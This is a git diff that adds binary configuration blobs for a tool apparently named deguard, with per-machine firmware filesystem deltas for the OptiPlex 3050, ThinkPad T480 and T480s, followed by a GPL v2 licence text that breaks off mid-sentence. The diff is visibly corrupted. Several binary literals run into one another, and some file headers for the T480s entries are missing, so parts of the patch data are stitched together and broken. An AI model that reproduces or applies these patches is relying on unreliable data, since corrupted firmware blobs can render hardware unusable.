binary patch literal 18 ZcmWe&P-3uPSje!M;Q^BeQzX+xCIBG91Q`GT literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/plat_n_sku b/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/plat_n_sku new file mode 100644 index 000000000..96296af2d --- /dev/null +++ b/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/plat_n_sku @@ -0,0 +1 @@ +/€ \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/mbp b/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/mbp new file mode 100644 index 0000000000000000000000000000000000000000..6d3c0ed71b21e041cac3068687a0607cac1e8c50 GIT binary patch literal 44 tcmd;PWnf_BU}69PMph;UB^DP!MkXc(2SGtYMouOM=YW5WY>Z&}1^_eW1Kt1t literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/gpio/csme_pins b/blobs/t480/deguard/data/delta/optiplex_3050/home/gpio/csme_pins new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/dynregs b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/dynregs new file mode 100644 index 0000000000000000000000000000000000000000..23c1ea2751fd4615995e5930e844e1abd9b58557 GIT binary patch literal 36 jcmY#kU}RuoU|?VpV81gH3Z8yoU{Diaz9V21QU<~Ru6_#V literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/header b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/header new file mode 100644 index 0000000000000000000000000000000000000000..4b75556082e2c00ea8a888450d05627b20f0ec61 GIT binary patch literal 4 LcmZQ%U|<9Q00{sC literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/namestr b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/namestr new file mode 100644 index 0000000000000000000000000000000000000000..6f8c6989c84e6c19cdc026f95c6148b436fd4486 GIT binary patch literal 48 ecmWG2%1_J8NmVdlKn1}iiFqlBMJcGF3=9Cwn+8(= literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof0 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof0 new file mode 100644 index 0000000000000000000000000000000000000000..dab085a9f50507ce36b5fd1a2c47661f81937372 GIT binary patch literal 120 zcmWeozo*7wbe=&#T|k`y2r?KL8F+v+a{%L81|x?5f{Ki9nHiWF{2YLMAYe-Z(e?~& eDG-`170QRwY#C5KlxE9>@}V@B0OK7Npg912zZd}k literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof1 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof1 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof10 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof10 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof2 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof2 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof3 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof3 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof4 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof4 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof5 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof5 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof6 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof6 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof7 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof7 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof8 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof8 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof9 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof9 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/mca/eom b/blobs/t480/deguard/data/delta/optiplex_3050/home/mca/eom new file mode 100644 index 000000000..6b2aaa764 --- /dev/null +++ b/blobs/t480/deguard/data/delta/optiplex_3050/home/mca/eom @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/mca/ish_policy b/blobs/t480/deguard/data/delta/optiplex_3050/home/mca/ish_policy new file mode 100644 index 0000000000000000000000000000000000000000..f76dd238ade08917e6712764a16a22005a50573d GIT binary patch literal 1 IcmZPo000310RR91 literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/mctp/device_ports b/blobs/t480/deguard/data/delta/optiplex_3050/home/mctp/device_ports new file mode 100644 index 0000000000000000000000000000000000000000..593f4708db84ac8fd0f5cc47c634f38c013fe9e4 GIT binary patch literal 4 LcmZQzU|;|M00aO5 literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/cfgmgr/cfg_rules b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/cfgmgr/cfg_rules new file mode 100644 index 0000000000000000000000000000000000000000..91423d6906ebdae53f92532fc69f888190ce4572 GIT binary patch literal 660 zcmY+>O-=$q6a?U>4vI#Q1{4*QKLG(10bxy$#1+Y$z`L;VAY97>a0{R+shK<%o%&Mg zem&_iGrKg4<{^xZWP}~d>`r8aMKb%0jIdLg{TWssTj{Lp&t=ZoVkqwg{~2A{=VZ>o zytKcP`CSG17a8O|vMBRxNk&*%=ALWk8|RA5v$rzB?qv4&@&&RgbLNA*i2qiPax+?n zCz)q!&UF}X#P<&k`77S7n@Nvs$=}PL&9jWKw#=CwtmHkr>Jj!L^MCfRl0ALrf%YKm c)%nf&9p+iyHFW)l^T>JZJaPVXo;uH*4=I}$YybcN literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid1 b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid1 new file mode 100644 index 000000000..189a0a7f9 --- /dev/null +++ b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid1 @@ -0,0 +1 @@ +´n$Ï \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid2 b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid2 new file mode 100644 index 000000000..9aab9a80e --- /dev/null +++ b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid2 @@ -0,0 +1 @@ +¿ãt` \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid3 b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid3 new file mode 100644 index 000000000..6eb8dc476 --- /dev/null +++ b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid3 @@ -0,0 +1 @@ +È®ï \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/pwdmgr/segreto b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/pwdmgr/segreto new file mode 100644 index 000000000..27f4db070 --- /dev/null +++ b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/pwdmgr/segreto @@ -0,0 +1 @@ +÷Þк \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/emu_fuse_map b/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/emu_fuse_map new file mode 100644 index 0000000000000000000000000000000000000000..e51cb421e9112ea7a4411231ec508df3a8b775e2 GIT binary patch literal 7 OcmZQ$abVzK=mP)(I{@VX literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/fuse_ip_base b/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/fuse_ip_base new file mode 100644 index 0000000000000000000000000000000000000000..756890b668082baad0045ee92ca8d392a133368d GIT binary patch literal 18 Zcmb1O&|+|4*uZdzVHZ;{QwGxpCIBLs1R?+c literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/plat_n_sku b/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/plat_n_sku new file mode 100644 index 0000000000000000000000000000000000000000..3b549bfe91fe908ceec9ec613c2669ed8bd61508 GIT binary patch literal 4 Lcmd;JU}yjU0Hgqk literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/invokemebx b/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/invokemebx new file mode 100644 index 0000000000000000000000000000000000000000..593f4708db84ac8fd0f5cc47c634f38c013fe9e4 GIT binary patch literal 4 LcmZQzU|;|M00aO5 literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/mbp b/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/mbp new file mode 100644 index 0000000000000000000000000000000000000000..dd19cff43f2c1640d0fef3b3813dfdfa7c43c845 GIT binary patch literal 52 zcmd;OV_;z9U}9io0Me{X42mMcPK-=U46Z@nVi`G^7~BK?HL@`>0c9B)SRgb50C?~P AQvd(} literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/gpio/csme_pins b/blobs/t480/deguard/data/delta/thinkpad_t480/home/gpio/csme_pins new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/dynregs b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/dynregs new file mode 100644 index 0000000000000000000000000000000000000000..1cbeceebe10779124f952593fb481732944701cf GIT binary patch literal 28 icmb1PU}RuoU|?VpV7)VQ&P)b-AX`m<@s5B|NErY*umwK= literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/header b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/header new file mode 100644 index 0000000000000000000000000000000000000000..4b75556082e2c00ea8a888450d05627b20f0ec61 GIT binary patch literal 4 LcmZQ%U|<9Q00{sC literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/namestr b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/namestr new file mode 100644 index 0000000000000000000000000000000000000000..b0f3735c08f70e800a5dcce8ba8a2ef5ac9b075e GIT binary patch literal 48 ZcmeZC&C4&#XTSi#C5d?{iA5>s5&*Dj1*HH0 literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof1 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof1 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof10 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof10 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof2 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof2 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof3 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof3 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof4 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof4 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof5 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof5 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof6 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof6 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof7 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof7 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof8 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof8 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof9 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof9 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/eom b/blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/eom new file mode 100644 index 000000000..6b2aaa764 --- /dev/null +++ b/blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/eom @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/ish_policy b/blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/ish_policy new file mode 100644 index 0000000000000000000000000000000000000000..f76dd238ade08917e6712764a16a22005a50573d GIT binary patch literal 1 IcmZPo000310RR91 literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/mctp/device_ports b/blobs/t480/deguard/data/delta/thinkpad_t480/home/mctp/device_ports new file mode 100644 index 0000000000000000000000000000000000000000..593f4708db84ac8fd0f5cc47c634f38c013fe9e4 GIT binary patch literal 4 LcmZQzU|;|M00aO5 literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/Bist/auto_config b/blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/Bist/auto_config new file mode 100644 index 0000000000000000000000000000000000000000..009d73a31973e2082917509b8596bb343d4265ab GIT binary patch literal 4 LcmZQ0l|Qv41yvG4#=e9z?u+=D-yz9@8ZUTcsXyt609Z&}1^_We1G@kK literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/gpio/csme_pins b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/gpio/csme_pins new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/dynregs b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/dynregs new file mode 100644 index 0000000000000000000000000000000000000000..912ab3579185250403dc1db1cb95ed24b1e7f2ab GIT binary patch literal 28 icmb1PU}RuoU|?VpV7)W*s5&*Dj1*HH0 literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof1 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof1 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof10 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof10 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof2 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof2 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof3 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof3 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof4 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof4 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof5 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof5 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof6 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof6 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof7 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof7 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof8 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof8 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof9 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof9 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/eom b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/eom new file mode 100644 index 000000000..6b2aaa764 --- /dev/null +++ b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/eom @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/ish_policy b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/ish_policy new file mode 100644 index 0000000000000000000000000000000000000000..f76dd238ade08917e6712764a16a22005a50573d GIT binary patch literal 1 IcmZPo000310RR91 literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mctp/device_ports b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mctp/device_ports new file mode 100644 index 0000000000000000000000000000000000000000..593f4708db84ac8fd0f5cc47c634f38c013fe9e4 GIT binary patch literal 4 LcmZQzU|;|M00aO5 literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/Bist/auto_config b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/Bist/auto_config new file mode 100644 index 0000000000000000000000000000000000000000..f66c9cf4c9672fa2832bce76f4082fd97b823506 GIT binary patch literal 4 LcmZQ%U|;|M00;mA literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/cfgmgr/cfg_rules b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/cfgmgr/cfg_rules new file mode 100644 index 0000000000000000000000000000000000000000..6243fe92703b15ca1f7f387ba5c4d899a79c569b GIT binary patch literal 660 zcmY+=OHKk|5Cq^>K!kw6@D_P1@igPOP^;RM`;4F~aZ-U6s51t}Jj`cnC)|Cu&3 zOPGZhK{|6oBkY#;E<__NOnV=p5q3v=9~Iw=W3X@rU?Rd<6FI7iRzf literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid1 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid1 new file mode 100644 index 000000000..b508e576d --- /dev/null +++ b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid1 @@ -0,0 +1 @@ +Zâ# \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid2 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid2 new file mode 100644 index 000000000..96116535e --- /dev/null +++ b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid2 @@ -0,0 +1 @@ +²R˦ \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid3 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid3 new file mode 100644 index 000000000..7f55b1e93 --- /dev/null +++ b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid3 @@ -0,0 +1 @@ +Œ¼6 \ No newline at end of file diff --git a/blobs/t480/deguard/data/fpfs/optiplex_3050 b/blobs/t480/deguard/data/fpfs/optiplex_3050 new file mode 100644 index 0000000000000000000000000000000000000000..c3493e18862c9671102fd85f3cad1006b8b58f6b GIT binary patch literal 256 zcmZQz0D+KDAYfo{U}OkjWjNr%;J^YF#zR>6eQ5X(1bCESmBP@oVCzO#%>XOz?EKE> rZ>Jqp++35a9MK>;Axm{(U!-G7q3u5=tOlV8GD7)KhdZE2-0RR92 literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/doc/COPYING.txt b/blobs/t480/deguard/doc/COPYING.txt new file mode 100644 index 000000000..d159169d1 --- /dev/null +++ b/blobs/t480/deguard/doc/COPYING.txt @@ -0,0 +1,339 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY 